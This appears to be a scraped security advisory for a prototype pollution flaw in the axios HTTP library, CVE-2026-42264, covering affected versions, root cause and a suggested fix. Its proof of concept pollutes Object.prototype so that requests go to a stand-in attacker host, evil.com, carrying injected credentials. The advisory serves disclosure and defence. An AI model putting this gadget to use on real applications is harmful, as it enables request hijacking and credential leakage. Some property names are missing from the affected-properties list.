axios
Affected
- introduced
1.0.0, fixed1.15.2(semver)
Fixed versions
1.15.2
Fix
- Fixed version
1.15.2npm install [email protected]
Advisory
Also known as: CVE-2026-42264
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.Proof of Concept
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
Impact
Authorization header, leaking request contents to any server that logs auth headers.Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.
High Basis: The source's own band: HIGH
1.0.0, fixed 1.15.2 (semver)1.15.2
1.15.2npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0